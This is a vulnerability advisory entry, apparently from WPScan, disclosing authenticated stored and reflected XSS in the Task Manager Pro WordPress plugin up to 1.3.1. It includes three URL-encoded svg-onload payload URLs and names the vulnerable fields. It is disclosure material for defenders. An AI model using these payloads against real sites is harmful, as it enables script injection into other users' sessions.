Task Manager Pro <= 1.3.1 - Authenticated Cross-Site Scripting (XSS)

Sign up to our free email alerts service for instant vulnerability notifications!

Description
Multiple authenticated XSS vulnerabilities found logged as a low privileged user.
Proof of Concept
Authenticated Stored XSS:

Logged as a follower, the lowest privileged user.
Write the payload in the 'Add a comment' section

Authenticated Reflected XSS

On task-edit, task-details, project-details pages:

https://localhost/wp-admin/admin.php?page=task-edit&task=8%2F%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
https://localhost/wp-admin/admin.php?page=task-details&task=6%22%2F%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
https://localhost/wp-admin/admin.php?page=project-details&project=%22%2F%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E

Authenticated Stored XSS

Logged as a user with edit privileges:
Edit Task Section. Task Name & Time Estimation fields are vulnerable.

Affects Plugin

References

PACKETSTORM 143419
URL http://codecanyon.net/item/task-manager-pro-all-in-one-project-based-task-management-plugin-for-wordrpress/19864872

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter 8bitsec
Submitter Website http://8bitsec.io/
Submitter Twitter _8bitsec
Views 0
Verified No
WPVDB ID 8870

Timeline

Publicly Published 2017-07-19 (2 months ago)
Added 2017-07-25 (2 months ago)
Last Updated 2017-07-25 (2 months ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.